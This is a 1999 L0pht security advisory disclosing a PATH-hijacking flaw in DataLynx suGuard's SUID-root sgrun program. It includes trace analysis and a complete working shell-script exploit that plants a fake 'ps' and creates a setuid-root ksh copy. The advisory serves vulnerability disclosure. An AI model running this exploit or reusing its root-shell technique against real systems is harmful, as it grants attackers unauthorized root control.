L0pht Security Advisory Advisory released Jan 3 1999 Application: suGuard rev 1.0 from DataLynx Severity: any user configured under suGuard can execute any command as root Author: mudge@l0pht.com http://www.l0pht.com/advisories.html Overview : During a cursory examination of DataLynx's suGuard program to exploit /tmp vulnerabilities, much more blatent security problems were uncovered. In particular, a process listing is run from suGuard's main application. The first instance of the 'ps' program found in the users PATH environment is assumed to be the valid ps program and is run with root privileges. sgrun, the datalynx program, is SUID root and as such enables any user configured for suGuard to execute arbitrary commands as root. Example : [furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com] Segmentation Fault root shell created as ./sushi [furby-death] ls -l sushi -r-sr-xr-x 1 root other 186356 Oct 1 14:25 sushi [furby-death] ./sushi # Description : So, roughly 2:30am I was sitting around wondering when and how I should release the /tmp tool that I had whipped up and left lying around. It occured to me that the best way to show its merits was to have it aid in finding a security vulnerability. What better type of application to demonstrate security vulnerabilities in than security apps. It ends up being akin to breaking into vehicles to steal those stupid red clubs (which ends up being pretty easy). The only question was what software to look at. As it turns out, one of the folks over at the L0pht brought over a trade rag and I started leafing through it. I was relatively confident that I would find some company who had taken out a full page add with expensive looking artwork pawning their wares. I would download an eval copy and have my example of poor code to use in announcing the little temp-tool. What I got was worse than I dared imagine. In fact, though there were the style of problems that I was looking for, the kindergarden security mistakes that presented themselves here that I was not looking for warranted their own advisory. I guess I'll need to go find another piece of software to usher in the little util. suGuard is a commercial product put out by a company name DataLynx [http://www.dlxguard.com]. It is basically sudo with a GUI interface and some other functionality. Since it is designed to manage priviledged execution of programs is installed SUID root. A quick strings(1) shows several likely problems in the code: 71800 /tmp 74192 /tmp/dxpids.%d 74208 ps -ef > %s 78600 /tmp/gdtemp1 78616 ps -ef > %s The /tmp lines show improper usage of the /tmp directory while the ps lines indicate what is most likely the args to a s{n}printf that will be handed off for execution. A quick nm(1) further validates our concerns: 0000204184 U popen 0000203536 U execvp There are a couple of quick attacks to attempt here. First, playing with the path and second playing with the field seperator IFS (both work here by the way). truss'ing the program will show the problems in much more detail: [note: Identify is the profile name I gave /bin/id for sgrun - see the suGuard documentation for how to set these up] truss -f -o xxx /bin/datalynx/sgrun Identify grep ps xxx [snip] 15651: stat64("/usr/sbin/ps", 0xEFFFF2D8) Err#2 ENOENT 15651: stat64("/usr/bin/ps", 0xEFFFF2D8) = 0 15651: access("/usr/bin/ps", 9) = 0 15653: execve("/usr/bin/ps", 0x00038B78, 0x00038BAC) argc = 2 [snip] The above trace segment shows the walking of PATH directories to find ps and then execute it with the arguments we noted from the strings(1) run. This is what we expect since ps was not given an explicit path and the calls for execution were either popen or execvp, both of which would follow the PATH environment variable to find the executable. Though we exercise this particular problem, it should be noted that several others exist in the program. Mini-Rant: The web page for Datalynx has links to "hacker/cracker sites" and also "security sites". It seems somewhat ironic that someone coming from a "hacker/cracker" site (yes, l0pht is listed) finds this vulnerability and publishes it yet none of the "security" sites seem to be doing this. Makes you wonder who is really securing the internet/corporate world. Is it the hackers or the "security sites"? Exploit code: --------cut here-------- #!/bin/sh # sgrun exploit - the types of vulnerabilities that this exploit exercises # have no right being introduced to code in this day and age. Much less # code which presents itself under the pretenses of securing your system. # .mudge 01.02.99 # SUSHI=./sushi if [ $# -ne 2 ] ; then echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument echo mudge@l0pht.com [01.02.99] exit 1 fi SGRUN=$1 ARG=$2 if [ -f ${SUSHI} ] ; then echo root shell already created? exit fi echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com] echo cat > ./ps << FOEFOE #!/bin/sh cp /bin/ksh ${SUSHI} chown root ${SUSHI} chmod 4555 ${SUSHI} FOEFOE chmod 755 ./ps PATH=.:${PATH} export PATH #/bin/datalynx/sgrun Identify ${SGRUN} ${ARG} if [ -f ${SUSHI} ] ; then echo root shell created as ${SUSHI} ls -l ${SUSHI} echo fi --------cut here-------- mudge@l0pht.com --------------- For more L0pht (that's L - zero - P - H - T) advisories check out: http://www.l0pht.com/advisories.html ---------------